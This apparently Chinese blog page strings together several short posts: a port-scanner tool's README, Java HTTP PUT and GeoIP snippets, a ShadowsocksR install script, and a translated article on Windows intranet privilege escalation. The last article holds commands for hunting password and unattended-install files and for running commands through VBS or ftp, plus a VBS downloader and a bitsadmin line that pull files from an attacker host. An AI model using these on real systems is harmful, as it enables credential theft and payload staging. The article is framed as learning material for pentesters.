WebScanner资产信息整理工具

练手写的东西,代码渣,轻点吐槽,有兴趣的小伙伴欢迎交流学习~

项目文件介绍:

Lib----包文件目录
Dbconfig.properties----数据库配置信息及扫描端口信息
Ip.txt----扫描IP段信息
Start.bat----服务启动
WebScanner.jar----程序主运行jar包
Webscans.sql----数据库表创建SQL

使用说明:
1.使用webscans.sql在Mysql数据库中创建表

2.打开dbconfig.properties配置数据信息:

driver=com.mysql.jdbc.Driver
ip=127.0.0.1
port=3306
data=webscan
user=root
password=12340012
webscanport=80,8080,7001

(ip:mysql服务IP,port:mysql服务端口,data:mysql数据库名,user:mysql数据库账号,password:mysql数据库密码,webscanport:要扫描的端口,以逗号隔开,支持多端口)

3.ip.txt写入要扫描的IP段
格式:1.1.1.1 1.1.1.255(以空格隔开,支持多行)
建议扫C段,其实也可能扫B段,代码渣,不怕崩你可以试试

4.运行Start.bat开始扫描,线程根据自己情况设置.

效果图:
请输入图片描述

请输入图片描述

下载地址:点击下载
软件仅做测试及甲方对资产整理使用,请勿使用其他非法用途。

java put方式

package com.test;

import java.io.BufferedReader;
import java.io.InputStreamReader;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPut;
import org.apache.http.impl.client.HttpClientBuilder;

import org.apache.http.*;


public class test
{
    public static void main(String[] args) throws Exception {
        testUpdate();
    }
    public static void testUpdate() throws Exception {
        String url = "";
        HttpClient client = HttpClientBuilder.create().build();
        HttpPut put = new HttpPut(url);
        put.setHeader("Content-type", "application/json");
//      StringEntity params =new StringEntity(jo.toString());
//      put.setEntity(params);
        HttpResponse response = client.execute(put);
           Header[] headers = response.getAllHeaders();
           for(int i=0;i<headers.length;i++) {
               System.out.println(headers[i].getName() +"=="+ headers[i].getValue());
              }
        System.out.println("Response Code:"+response.getStatusLine().getStatusCode());
        BufferedReader rd = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
        StringBuffer result = new StringBuffer();
        String line = "";
        while ((line = rd.readLine()) != null) {
        result.append(line);
        }
        System.out.println("result:"+result);
    }
}

根据GeoIP快速把IP转换成经纬度(Java版)

GeoIP jar包:geoip-api-1.3.1.jar
下载地址:http://pan.baidu.com/s/1kU5X0RP
Geo city dat文件:GeoLiteCity-2013-01-18.dat
下载地址:
老数据地址:http://pan.baidu.com/s/1eRVkkgy
官方更新地址:(找到城市的下载即可)http://dev.maxmind.com/geoip/legacy/geolite/

把dat文件放在自己的本地目录,然后项目中导入geoip.jar即可:

import com.maxmind.geoip.Location;
import com.maxmind.geoip.LookupService;
import java.io.IOException;

public class TestMain {
public static void main(String[] args) {
try {
LookupService cl = new LookupService("D:/lib/geoip/GeoLiteCity-2013-01-18.dat", LookupService.GEOIP_MEMORY_CACHE);
Location l2 = cl.getLocation("144.0.9.29");
System.out.println(
"countryCode: " + l2.countryCode +"\n"+
"countryName: " + l2.countryName +"\n"+
"region: " + l2.region +"\n"+
"city: " + l2.city +"\n"+
"latitude: " + l2.latitude +"\n"+
"longitude: " + l2.longitude);
} catch (IOException e) {
e.printStackTrace();
}
}
}
输出内容:

countryCode: CN
countryName: China
region: 25
city: Jinan
latitude: 36.668304
longitude: 116.99719

Shadowsocks快速搭建

wget --no-check-certificate https://raw.githubusercontent.com/teddysun/shadowsocks_install/master/shadowsocksR.sh

chmod +x shadowsocksR.sh

./shadowsocksR.sh 2>&1 | tee s-s-go.log

三条命令搞定~

Windows内网渗透提权的几个实用命令

这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。

1.获取操作系统信息

识别操作系统名称及版本:

C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.14393 N/A Build 14393
当然中文系统你得这样:

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
识别系统体系结构:

C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%
AMD64

查看所有环境变量:

C:\Users\thel3l> SET
USERNAME=thel3l
USERPROFILE=C:\Users\thel3l
snip
查看某特定用户信息:

C:\Users\thel3l>net user thel3l
User name thel3l
snip
The command completed successfully
2.获取网络信息

查看路由表信息:

C:\Users\thel3l> route print
查看ARP缓存信息:

C:\Users\thel3l> arp -A
查看防火墙规则:

C:\Users\thel3l> netstat -ano
C:\Users\thel3l> netsh firewall show config
C:\Users\thel3l> netsh firewall show state
3.应用程序及服务信息

查看计划任务:

C:\Users\thel3l> schtasks /QUERY /fo LIST /v
中文系统的命令,先调整GBK编码为437美国编码:

chcp 437
然后

schtasks /QUERY /fo LIST /v
查看服务进程ID:

C:\Users\thel3l> tasklist /SVC
查看安装驱动:

C:\Users\thel3l> DRIVERQUERY
查看安装程序和版本信息(漏洞利用线索):

C:\Users\thel3l> wmic product list brief
查看服务、进程和启动程序信息:

C:\Users\thel3l> wmic service list brief
C:\Users\thel3l> wmic process list brief
C:\Users\thel3l> wmic startup list brief
查看.msi程序的执行权限:

C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看是否设置有setuid和setgid:

C:\Users\thel3l>
reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits
查看安装补丁和时间信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn

查看特定漏洞补丁信息:

C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
4.敏感数据和目录

查找密码文件或其它敏感文件:

C:\Users\thel3l> cd/
C:\Users\thel3l> dir /b/s password.txt
C:\Users\thel3l> dir /b/s config.*
C:\Users\thel3l> findstr /si password *.xml *.ini *.txt
C:\Users\thel3l> findstr /si login *.xml *.ini *.txt

无人值守安装文件:

这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:

C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml

5.文件系统

可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:

import os; os.system("cmd /c {command here}")
使用copy con命令创建ftp执行会话:

范例

C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件

ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出

C:\Users\thel3l> ftp.bat # 执行创建的文件

ftp> # 执行ftp命令

ftp> !{command} # e.g. - !dir or !ipconfig
使用copy con命令创建VBS脚本文件:

C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件

Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容

C:\Users\thel3l> commandExec.vbs #执行脚本文件

检查文件夹可写状态:

C:\Users\thel3l> dir /a-r-d /s /b
6.一个有用的文件上传脚本

' downloadfile.vbs

' Set your settings

strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"

strHDLocation = "c:\{FILE_NAME.EXT}"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0 'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

该脚本是一个社区发布的,你可以以下这种方式运行它:

C:\Users\thel3l>cscript.exe downloadfile.vbs
bitsadmin命令:

如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:

范例

C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file

C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}

C:\Users\username\Downloads{FILE_NAME.EXT}

如:

bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip
*参考来源:thel3l.me,FB小编clouds编译,转载请注明来自FreeBuf(FreeBuf.COM)